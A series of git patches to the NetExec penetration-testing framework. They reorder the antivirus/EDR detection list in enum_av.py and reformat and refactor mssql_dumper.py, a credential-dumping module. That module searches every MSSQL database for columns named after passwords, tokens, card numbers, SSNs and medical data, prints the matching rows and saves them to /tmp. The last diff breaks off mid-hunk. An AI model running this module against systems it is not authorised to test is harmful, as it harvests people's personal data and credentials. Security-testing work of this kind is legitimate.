b/nxc/modules/enum_av.py index 3b83280d1e..ddb62ef239 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -202,7 +202,6 @@ def LsarLookupNames(self, dce, policyHandle, service): request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta return dce.request(request) - conf = { "products": [ { @@ -210,6 +209,19 @@ def LsarLookupNames(self, dce, policyHandle, service): "services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}], "pipes": [] }, + { + "name": "Avast / AVG", + "services": [ + {"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"}, + {"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"}, + {"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"}, + {"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"} + ], + "pipes": [ + {"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]}, + {"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]} + ] + }, { "name": "Bitdefender", "services": [ @@ -240,9 +252,15 @@ def LsarLookupNames(self, dce, policyHandle, service): "pipes": [] }, { - "name": "CrowdStrike", - "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}], - "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}] + "name": "Check Point Endpoint Security", + "services": [ + {"name": "CPDA", "description": "Check Point Endpoint Agent"}, + {"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"}, + {"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"}, + {"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"} + + ], + "pipes": [] }, { "name": "Cortex", @@ -252,6 +270,11 @@ def LsarLookupNames(self, dce, policyHandle, service): ], "pipes": [] }, + { + "name": "CrowdStrike", + "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}], + "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}] + }, { "name": "Cybereason", "services": [ @@ -265,15 +288,15 @@ def LsarLookupNames(self, dce, policyHandle, service): ] }, { - "name": "Check Point Endpoint Security", + "name": "Elastic EDR", "services": [ - {"name": "CPDA", "description": "Check Point Endpoint Agent"}, - {"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"}, - {"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"}, - {"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"} - + {"name": "Elastic Agent", "description": "Elastic Agent Service"}, + {"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"} ], - "pipes": [] + "pipes": [ + {"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]}, + {"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]} + ] }, { "name": "ESET", @@ -319,7 +342,7 @@ def LsarLookupNames(self, dce, policyHandle, service): ] }, { - "name": "Ivanti Security", + "name": "Ivanti Security", "services": [ {"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"}, {"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"} @@ -373,6 +396,11 @@ def LsarLookupNames(self, dce, policyHandle, service): {"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]} ] }, + { + "name": "Rapid7", + "services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}], + "pipes": [] + }, { "name": "SentinelOne", "services": [ @@ -386,20 +414,6 @@ def LsarLookupNames(self, dce, policyHandle, service): {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]} ] }, - { - "name": "Symantec Endpoint Protection", - "services": [ - {"name": "SepMasterService", "description": "Symantec Endpoint Protection"}, - {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"}, - {"name": "SNAC", "description": "Symantec Network Access Control"} - ], - "pipes": [] - }, - { - "name": "Rapid7", - "services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}], - "pipes": [] - }, { "name": "Sophos Intercept X", "services": [ @@ -420,6 +434,15 @@ def LsarLookupNames(self, dce, policyHandle, service): {"name": "sophoslivequery_*", "processes": [""]} ] }, + { + "name": "Symantec Endpoint Protection", + "services": [ + {"name": "SepMasterService", "description": "Symantec Endpoint Protection"}, + {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"}, + {"name": "SNAC", "description": "Symantec Network Access Control"} + ], + "pipes": [] + }, { "name": "Trellix Endpoint Detection and Response (EDR)", "services": [ @@ -485,30 +508,6 @@ def LsarLookupNames(self, dce, policyHandle, service): "pipes": [ {"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]} ] - }, - { - "name": "Avast / AVG", - "services": [ - {"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"}, - {"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"}, - {"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"}, - {"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"} - ], - "pipes": [ - {"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]}, - {"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]} - ] - }, - { - "name": "Elastic EDR", - "services": [ - {"name": "Elastic Agent", "description": "Elastic Agent Service"}, - {"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"} - ], - "pipes": [ - {"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]}, - {"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]} - ] } ] } From ce30d4392d98f7e6a75e74ab316564852803ff95 Mon Sep 17 00:00:00 2001 From: P'tit Snake Date: Wed, 18 Mar 2026 15:53:36 +0100 Subject: [PATCH 105/165] fix spacing for improved code readability During the IOC arrangement, 1 line was removed to maintain better visibility; I'm adding it back. Signed-off-by: P'tit Snake --- nxc/modules/enum_av.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index ddb62ef239..efd3ec9e27 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -202,6 +202,7 @@ def LsarLookupNames(self, dce, policyHandle, service): request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta return dce.request(request) + conf = { "products": [ { From cbc40f75ea2a5509a1dd0292319664c7d67704ad Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 16:43:18 -0400 Subject: [PATCH 106/165] Formatting --- nxc/modules/mssql_dumper.py | 310 +++++++++++++++++------------------- 1 file changed, 150 insertions(+), 160 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 7340d69027..fedff50660 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -1,28 +1,25 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# MSSQL Dumper v1 - Created by LTJAX import json -import os import datetime import re -class NXCModule: - name = 'mssql_dumper' +class NXCModule: + """MSSQL Dumper v1 - Created by LTJAX""" + name = "mssql_dumper" description = "Search for Sensitive Data across all the databases" - supported_protocols = ['mssql'] + supported_protocols = ["mssql"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - ''' + """ SEARCH Semicolon-separated regex(es) to search for in **Cell Values** LIKE_SEARCH Comma-separated list of column names to specifically look for SAVE Save the output to sqlite database (default True) - ''' + """ regex_input = module_options.get("REGEX", "") self.regex_patterns = [] - for pattern in regex_input.split(';'): + for pattern in regex_input.split(";"): pattern = pattern.strip() if pattern: try: @@ -30,156 +27,154 @@ def options(self, context, module_options): except re.error as e: context.log.fail(f"[!] Invalid regex pattern '{pattern}': {e}") like_input = module_options.get("LIKE_SEARCH", "") - self.like_search = [s.strip().lower() for s in like_input.split(',') if s.strip()] + self.like_search = [s.strip().lower() for s in like_input.split(",") if s.strip()] self.save = module_options.get("SAVE", "true").lower() == "true" - pass def pii(self): return [ - 'username', - 'user_name', - 'email', - 'first_name', - 'last_name', - 'full_name', - 'dob', - 'date_of_birth', - 'ssn', - 'social_security_number', - 'passport_number', - 'national_id', - 'phone', - 'phone_number', - 'phonenumber', - 'address', - 'city', - 'state', - 'zip', - 'zipcode', - 'password', - 'passwd', - 'passwd_hash', - 'password_hash', - 'password_salt', - 'token', - 'auth_token', - 'session_token', - 'session', - 'api_key', - 'mfa_secret', - 'security_question', - 'credit_card_number', - 'cc_number', - 'card_number', - 'cardholder_name', - 'cvv', - 'cvv2', - 'expiration_date', - 'expiry_date', - 'billing_address', - 'iban', - 'account_number', - 'routing_number', - 'payment_token', - 'medical_record', - 'patient_id', - 'diagnosis', - 'treatment', - 'insurance_number', - 'tax_id', - 'tin', - 'ein', - 'contract_number', - 'salary', - 'compensation', - 'middle_name', - 'nickname', - 'maiden_name', - 'gender', - 'birth_date', - 'ssn_hash', - 'nin', - 'drivers_license', - 'dl_number', - 'street', - 'house_number', - 'apartment', - 'region', - 'country', - 'location', - 'email_address', - 'alt_email', - 'mobile', - 'fax', - 'password_plaintext', - 'old_password', - 'user_pass', - 'user_password', - 'user_token', - 'refresh_token', - 'secret_key', - 'otp_secret', - 'security_pin', - 'security_answer', - 'security_code', - 'creditcard', - 'credit_card', - 'credit_card_hash', - 'credit_card_expiry', - 'cc_exp_month', - 'cc_exp_year', - 'card_exp', - 'debit_card', - 'ccv', - 'bic', - 'bank_account', - 'bank_name', - 'bank_code', - 'bank_id', - 'paypal_email', - 'invoice_id', - 'invoice_total', - 'order_id', - 'order_total', - 'order_amount', - 'payment_status', - 'employee_id', - 'position', - 'job_title', - 'employment_status', - 'income', - 'annual_salary', - 'legal_name', - 'legal_entity', - 'blood_type', - 'allergies', - 'prescriptions', - 'health_id', - 'insurance_id', - 'medication', - 'emergency_contact', - 'pin', - 'pin_code', - 'user_secret', - 'login_token', - 'reset_token', - 'recovery_key', - 'temp_password', - 'user_credential', - 'auth_code', - 'sessionid', - 'access_token' + "username", + "user_name", + "email", + "first_name", + "last_name", + "full_name", + "dob", + "date_of_birth", + "ssn", + "social_security_number", + "passport_number", + "national_id", + "phone", + "phone_number", + "phonenumber", + "address", + "city", + "state", + "zip", + "zipcode", + "password", + "passwd", + "passwd_hash", + "password_hash", + "password_salt", + "token", + "auth_token", + "session_token", + "session", + "api_key", + "mfa_secret", + "security_question", + "credit_card_number", + "cc_number", + "card_number", + "cardholder_name", + "cvv", + "cvv2", + "expiration_date", + "expiry_date", + "billing_address", + "iban", + "account_number", + "routing_number", + "payment_token", + "medical_record", + "patient_id", + "diagnosis", + "treatment", + "insurance_number", + "tax_id", + "tin", + "ein", + "contract_number", + "salary", + "compensation", + "middle_name", + "nickname", + "maiden_name", + "gender", + "birth_date", + "ssn_hash", + "nin", + "drivers_license", + "dl_number", + "street", + "house_number", + "apartment", + "region", + "country", + "location", + "email_address", + "alt_email", + "mobile", + "fax", + "password_plaintext", + "old_password", + "user_pass", + "user_password", + "user_token", + "refresh_token", + "secret_key", + "otp_secret", + "security_pin", + "security_answer", + "security_code", + "creditcard", + "credit_card", + "credit_card_hash", + "credit_card_expiry", + "cc_exp_month", + "cc_exp_year", + "card_exp", + "debit_card", + "ccv", + "bic", + "bank_account", + "bank_name", + "bank_code", + "bank_id", + "paypal_email", + "invoice_id", + "invoice_total", + "order_id", + "order_total", + "order_amount", + "payment_status", + "employee_id", + "position", + "job_title", + "employment_status", + "income", + "annual_salary", + "legal_name", + "legal_entity", + "blood_type", + "allergies", + "prescriptions", + "health_id", + "insurance_id", + "medication", + "emergency_contact", + "pin", + "pin_code", + "user_secret", + "login_token", + "reset_token", + "recovery_key", + "temp_password", + "user_credential", + "auth_code", + "sessionid", + "access_token" ] - def on_login(self, context, connection): try: all_results = [] hostname = connection.hostname or connection.host databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases") for db in databases: - db_name = db.get('name') or db.get('', '') - if db_name.lower() in ('master', 'model', 'msdb', 'tempdb'): + db_name = db.get("name") or db.get("", "") + if db_name.lower() in ("master", "model", "msdb", "tempdb"): continue # skip system DBs context.log.display(f"Searching database: {db_name}") @@ -191,18 +186,18 @@ def on_login(self, context, connection): ) for table in tables: - table_name = table.get('table_name') or table.get('', '') + table_name = table.get("table_name") or table.get("", "") try: columns = connection.conn.sql_query( f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'" ) - column_names = [c.get('column_name') or c.get('', '') for c in columns] + column_names = [c.get("column_name") or c.get("", "") for c in columns] # find matching columns search_keys = self.pii() + self.like_search matched = [col for col in column_names if any(key in col.lower() for key in search_keys)] if matched: - column_str = ', '.join(f'[{c}]' for c in matched) + column_str = ", ".join(f"[{c}]" for c in matched) context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") try: @@ -214,7 +209,7 @@ def on_login(self, context, connection): for k, v in row.items(): if isinstance(v, bytes): try: - v = v.decode('utf-8', errors='replace') + v = v.decode("utf-8", errors="replace") except: v = str(v) else: @@ -238,7 +233,7 @@ def on_login(self, context, connection): matched_cells = {} for col, val in row.items(): try: - val_str = val.decode('utf-8', 'replace') if isinstance(val, bytes) else str(val) + val_str = val.decode("utf-8", "replace") if isinstance(val, bytes) else str(val) except: val_str = str(val) for pattern in self.regex_patterns: @@ -257,7 +252,6 @@ def on_login(self, context, connection): except Exception as e: context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}") - except Exception as e: context.log.fail(f"Query failed: {e}") if self.save and all_results: @@ -270,16 +264,12 @@ def sanitize(obj): elif isinstance(obj, list): return [sanitize(i) for i in obj] elif isinstance(obj, bytes): - return obj.decode('utf-8', 'replace') + return obj.decode("utf-8", "replace") else: return obj cleaned = sanitize(all_results) - with open(filename, 'w') as f: + with open(filename, "w") as f: json.dump(cleaned, f, indent=2) context.log.success(f"Data saved to {filename}") except Exception as e: context.log.fail(f"Failed to save results to file: {e}") - - - - From c7b8e5bb2bdf049d22e4cc3a3cb17b02040bb5d1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 16:49:39 -0400 Subject: [PATCH 107/165] Sort pii values --- nxc/modules/mssql_dumper.py | 222 ++++++++++++++++++------------------ 1 file changed, 111 insertions(+), 111 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index fedff50660..37047411f8 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -32,139 +32,139 @@ def options(self, context, module_options): def pii(self): return [ - "username", - "user_name", - "email", - "first_name", - "last_name", - "full_name", - "dob", - "date_of_birth", - "ssn", - "social_security_number", - "passport_number", - "national_id", - "phone", - "phone_number", - "phonenumber", + "access_token", + "account_number", "address", - "city", - "state", - "zip", - "zipcode", - "password", - "passwd", - "passwd_hash", - "password_hash", - "password_salt", - "token", - "auth_token", - "session_token", - "session", + "allergies", + "alt_email", + "annual_salary", + "apartment", "api_key", - "mfa_secret", - "security_question", - "credit_card_number", - "cc_number", + "auth_code", + "auth_token", + "bank_account", + "bank_code", + "bank_id", + "bank_name", + "bic", + "billing_address", + "birth_date", + "blood_type", + "card_exp", "card_number", "cardholder_name", + "cc_exp_month", + "cc_exp_year", + "cc_number", + "ccv", + "city", + "compensation", + "contract_number", + "country", + "credit_card_expiry", + "credit_card_hash", + "credit_card_number", + "credit_card", + "creditcard", "cvv", "cvv2", + "date_of_birth", + "debit_card", + "diagnosis", + "dl_number", + "dob", + "drivers_license", + "ein", + "email_address", + "email", + "emergency_contact", + "employee_id", + "employment_status", "expiration_date", "expiry_date", - "billing_address", + "fax", + "first_name", + "full_name", + "gender", + "health_id", + "house_number", "iban", - "account_number", - "routing_number", - "payment_token", - "medical_record", - "patient_id", - "diagnosis", - "treatment", + "income", + "insurance_id", "insurance_number", - "tax_id", - "tin", - "ein", - "contract_number", - "salary", - "compensation", + "invoice_id", + "invoice_total", + "job_title", + "last_name", + "legal_entity", + "legal_name", + "location", + "login_token", + "maiden_name", + "medical_record", + "medication", + "mfa_secret", "middle_name", + "mobile", + "national_id", "nickname", - "maiden_name", - "gender", - "birth_date", - "ssn_hash", "nin", - "drivers_license", - "dl_number", - "street", - "house_number", - "apartment", - "region", - "country", - "location", - "email_address", - "alt_email", - "mobile", - "fax", - "password_plaintext", "old_password", - "user_pass", - "user_password", - "user_token", - "refresh_token", - "secret_key", - "otp_secret", - "security_pin", - "security_answer", - "security_code", - "creditcard", - "credit_card", - "credit_card_hash", - "credit_card_expiry", - "cc_exp_month", - "cc_exp_year", - "card_exp", - "debit_card", - "ccv", - "bic", - "bank_account", - "bank_name", - "bank_code", - "bank_id", - "paypal_email", - "invoice_id", - "invoice_total", + "order_amount", "order_id", "order_total", - "order_amount", + "otp_secret", + "passport_number", + "passwd_hash", + "passwd", + "password_hash", + "password_plaintext", + "password_salt", + "password", + "patient_id", "payment_status", - "employee_id", + "payment_token", + "paypal_email", + "phone_number", + "phone", + "phonenumber", + "pin_code", + "pin", "position", - "job_title", - "employment_status", - "income", - "annual_salary", - "legal_name", - "legal_entity", - "blood_type", - "allergies", "prescriptions", - "health_id", - "insurance_id", - "medication", - "emergency_contact", - "pin", - "pin_code", - "user_secret", - "login_token", - "reset_token", "recovery_key", + "refresh_token", + "region", + "reset_token", + "routing_number", + "salary", + "secret_key", + "security_answer", + "security_code", + "security_pin", + "security_question", + "session_token", + "session", + "sessionid", + "social_security_number", + "ssn_hash", + "ssn", + "state", + "street", + "tax_id", "temp_password", + "tin", + "token", + "treatment", "user_credential", - "auth_code", - "sessionid", - "access_token" + "user_name", + "user_pass", + "user_password", + "user_secret", + "user_token", + "username", + "zip", + "zipcode", ] def on_login(self, context, connection): From d2640c9c825f585647b19371f03d1166c1fd6e6e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 17:18:56 -0400 Subject: [PATCH 108/165] Formatting --- nxc/modules/mssql_dumper.py | 154 +++++------------------------------- 1 file changed, 19 insertions(+), 135 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 37047411f8..0211f5bfcd 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -31,141 +31,25 @@ def options(self, context, module_options): self.save = module_options.get("SAVE", "true").lower() == "true" def pii(self): - return [ - "access_token", - "account_number", - "address", - "allergies", - "alt_email", - "annual_salary", - "apartment", - "api_key", - "auth_code", - "auth_token", - "bank_account", - "bank_code", - "bank_id", - "bank_name", - "bic", - "billing_address", - "birth_date", - "blood_type", - "card_exp", - "card_number", - "cardholder_name", - "cc_exp_month", - "cc_exp_year", - "cc_number", - "ccv", - "city", - "compensation", - "contract_number", - "country", - "credit_card_expiry", - "credit_card_hash", - "credit_card_number", - "credit_card", - "creditcard", - "cvv", - "cvv2", - "date_of_birth", - "debit_card", - "diagnosis", - "dl_number", - "dob", - "drivers_license", - "ein", - "email_address", - "email", - "emergency_contact", - "employee_id", - "employment_status", - "expiration_date", - "expiry_date", - "fax", - "first_name", - "full_name", - "gender", - "health_id", - "house_number", - "iban", - "income", - "insurance_id", - "insurance_number", - "invoice_id", - "invoice_total", - "job_title", - "last_name", - "legal_entity", - "legal_name", - "location", - "login_token", - "maiden_name", - "medical_record", - "medication", - "mfa_secret", - "middle_name", - "mobile", - "national_id", - "nickname", - "nin", - "old_password", - "order_amount", - "order_id", - "order_total", - "otp_secret", - "passport_number", - "passwd_hash", - "passwd", - "password_hash", - "password_plaintext", - "password_salt", - "password", - "patient_id", - "payment_status", - "payment_token", - "paypal_email", - "phone_number", - "phone", - "phonenumber", - "pin_code", - "pin", - "position", - "prescriptions", - "recovery_key", - "refresh_token", - "region", - "reset_token", - "routing_number", - "salary", - "secret_key", - "security_answer", - "security_code", - "security_pin", - "security_question", - "session_token", - "session", - "sessionid", - "social_security_number", - "ssn_hash", - "ssn", - "state", - "street", - "tax_id", - "temp_password", - "tin", - "token", - "treatment", - "user_credential", - "user_name", - "user_pass", - "user_password", - "user_secret", - "user_token", - "username", - "zip", - "zipcode", -] + """Common personally identifiable information (PII) keywords to search for in column names""" + return ["access_token", "account_number", "address", "allergies", "alt_email", "annual_salary", "apartment", + "api_key", "auth_code", "auth_token", "bank_account", "bank_code", "bank_id", "bank_name", "bic", + "billing_address", "birth_date", "blood_type", "card_exp", "card_number", "cardholder_name", "cc_exp_month", + "cc_exp_year", "cc_number", "ccv", "city", "compensation", "contract_number", "country", "credit_card_expiry", + "credit_card_hash", "credit_card_number", "credit_card", "creditcard", "cvv", "cvv2", "date_of_birth", + "debit_card", "diagnosis", "dl_number", "dob", "drivers_license", "ein", "email_address", "email", + "emergency_contact", "employee_id", "employment_status", "expiration_date", "expiry_date", "fax", "first_name", + "full_name", "gender", "health_id", "house_number", "iban", "income", "insurance_id", "insurance_number", + "invoice_id", "invoice_total", "job_title", "last_name", "legal_entity", "legal_name", "location", "login_token", + "maiden_name", "medical_record", "medication", "mfa_secret", "middle_name", "mobile", "national_id", "nickname", + "nin", "old_password", "order_amount", "order_id", "order_total", "otp_secret", "passport_number", "passwd_hash", + "passwd", "password_hash", "password_plaintext", "password_salt", "password", "patient_id", "payment_status", + "payment_token", "paypal_email", "phone_number", "phone", "phonenumber", "pin_code", "pin", "position", + "prescriptions", "recovery_key", "refresh_token", "region", "reset_token", "routing_number", "salary", "secret_key", + "security_answer", "security_code", "security_pin", "security_question", "session_token", "session", "sessionid", + "social_security_number", "ssn_hash", "ssn", "state", "street", "tax_id", "temp_password", "tin", "token", + "treatment", "user_credential", "user_name", "user_pass", "user_password", "user_secret", "user_token", "username", + "zip", "zipcode"] def on_login(self, context, connection): try: From 46bfbcf2d8c2840fc8498a3008bb2c9153949663 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:03:38 -0400 Subject: [PATCH 109/165] Fix module and options --- nxc/modules/mssql_dumper.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 0211f5bfcd..3b841359fb 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -1,6 +1,7 @@ import json import datetime import re +from nxc.helpers.misc import CATEGORY class NXCModule: @@ -8,17 +9,16 @@ class NXCModule: name = "mssql_dumper" description = "Search for Sensitive Data across all the databases" supported_protocols = ["mssql"] - opsec_safe = True - multiple_hosts = True + category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ - SEARCH Semicolon-separated regex(es) to search for in **Cell Values** + REGEX Semicolon-separated regex(es) to search for in **Cell Values** LIKE_SEARCH Comma-separated list of column names to specifically look for SAVE Save the output to sqlite database (default True) """ - regex_input = module_options.get("REGEX", "") self.regex_patterns = [] + regex_input = module_options.get("REGEX", "") for pattern in regex_input.split(";"): pattern = pattern.strip() if pattern: From 848b7b0eaefbc4ab6f590793dcbec5ae937a7383 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:04:11 -0400 Subject: [PATCH 110/165] Optimise code --- nxc/modules/mssql_dumper.py | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 3b841359fb..719a3bee3d 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -54,7 +54,6 @@ def pii(self): def on_login(self, context, connection): try: all_results = [] - hostname = connection.hostname or connection.host databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases") for db in databases: db_name = db.get("name") or db.get("", "") @@ -65,36 +64,30 @@ def on_login(self, context, connection): connection.conn.sql_query(f"USE [{db_name}]") # get all user tables in this DB - tables = connection.conn.sql_query( - "SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'" - ) + tables = connection.conn.sql_query("SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'") for table in tables: - table_name = table.get("table_name") or table.get("", "") + table_name = table.get("table_name", "") try: - columns = connection.conn.sql_query( - f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'" - ) - column_names = [c.get("column_name") or c.get("", "") for c in columns] + columns = connection.conn.sql_query(f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'") # find matching columns search_keys = self.pii() + self.like_search matched = [col for col in column_names if any(key in col.lower() for key in search_keys)] if matched: - column_str = ", ".join(f"[{c}]" for c in matched) + column_str = ", ".join(f"[{c['column_name']}]" for c in matched) context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") try: - data = connection.conn.sql_query( - f"SELECT {column_str} FROM [{table_name}]" - ) + data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]") for row in data: formatted = [] for k, v in row.items(): if isinstance(v, bytes): try: v = v.decode("utf-8", errors="replace") - except: + except Exception as e: + context.log.fail(f"Failed to decode bytes for {db_name}.{table_name}.{k}: {e}") v = str(v) else: v = str(v) @@ -140,6 +133,7 @@ def on_login(self, context, connection): context.log.fail(f"Query failed: {e}") if self.save and all_results: timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + hostname = connection.hostname or connection.host filename = f"/tmp/{timestamp}-{hostname}.json" try: def sanitize(obj): From 1b5cd4dabd4c34cd08a9130fad57a5e644e71673 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:32:10 -0400 Subject: [PATCH 111/165] Optimise code --- nxc/modules/mssql_dumper.py | 25 +++++++++---------------- 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 719a3bee3d..3f6264894d 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -13,11 +13,13 @@ class NXCModule: def options(self, context, module_options): """ + SHOW_DATA Display the actual row data values of the matched columns (default: True) REGEX Semicolon-separated regex(es) to search for in **Cell Values** LIKE_SEARCH Comma-separated list of column names to specifically look for - SAVE Save the output to sqlite database (default True) + SAVE Save the output to sqlite database (default: True) """ self.regex_patterns = [] + self.show_data = module_options.get("SHOW_DATA", "true").lower() in ["true", "1", "yes"] regex_input = module_options.get("REGEX", "") for pattern in regex_input.split(";"): pattern = pattern.strip() @@ -28,7 +30,7 @@ def options(self, context, module_options): context.log.fail(f"[!] Invalid regex pattern '{pattern}': {e}") like_input = module_options.get("LIKE_SEARCH", "") self.like_search = [s.strip().lower() for s in like_input.split(",") if s.strip()] - self.save = module_options.get("SAVE", "true").lower() == "true" + self.save = module_options.get("SAVE", "true").lower() in ["true", "1", "yes"] def pii(self): """Common personally identifiable information (PII) keywords to search for in column names""" @@ -73,7 +75,7 @@ def on_login(self, context, connection): # find matching columns search_keys = self.pii() + self.like_search - matched = [col for col in column_names if any(key in col.lower() for key in search_keys)] + matched = [col for col in columns if any(key in col["column_name"].lower() for key in search_keys)] if matched: column_str = ", ".join(f"[{c['column_name']}]" for c in matched) context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") @@ -81,22 +83,13 @@ def on_login(self, context, connection): try: data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]") for row in data: - formatted = [] - for k, v in row.items(): - if isinstance(v, bytes): - try: - v = v.decode("utf-8", errors="replace") - except Exception as e: - context.log.fail(f"Failed to decode bytes for {db_name}.{table_name}.{k}: {e}") - v = str(v) - else: - v = str(v) - formatted.append(f"{k}: {v}") - context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(formatted)) + parsed_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()} + if self.show_data: + context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in parsed_data.items())) all_results.append({ "database": db_name, "table": table_name, - "row": {k: v for k, v in row.items()} + "row": {k: v.strip() for k, v in parsed_data.items()} }) except Exception as e: context.log.fail(f"Failed to extract from {db_name}.{table_name}: {e}") From 5f2d34732cb60f2c1476327f647e3a1e5679252f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:38:31 -0400 Subject: [PATCH 112/165] Comments and removing unnecessary exception handler --- nxc/modules/mssql_dumper.py | 30 ++++++++++++++---------------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 3f6264894d..1fd2928a52 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -7,7 +7,7 @@ class NXCModule: """MSSQL Dumper v1 - Created by LTJAX""" name = "mssql_dumper" - description = "Search for Sensitive Data across all the databases" + description = "Search for Sensitive Data across all databases" supported_protocols = ["mssql"] category = CATEGORY.CREDENTIAL_DUMPING @@ -65,7 +65,7 @@ def on_login(self, context, connection): context.log.display(f"Searching database: {db_name}") connection.conn.sql_query(f"USE [{db_name}]") - # get all user tables in this DB + # get all tables in this DB tables = connection.conn.sql_query("SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'") for table in tables: @@ -79,23 +79,21 @@ def on_login(self, context, connection): if matched: column_str = ", ".join(f"[{c['column_name']}]" for c in matched) context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") - - try: - data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]") - for row in data: - parsed_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()} - if self.show_data: - 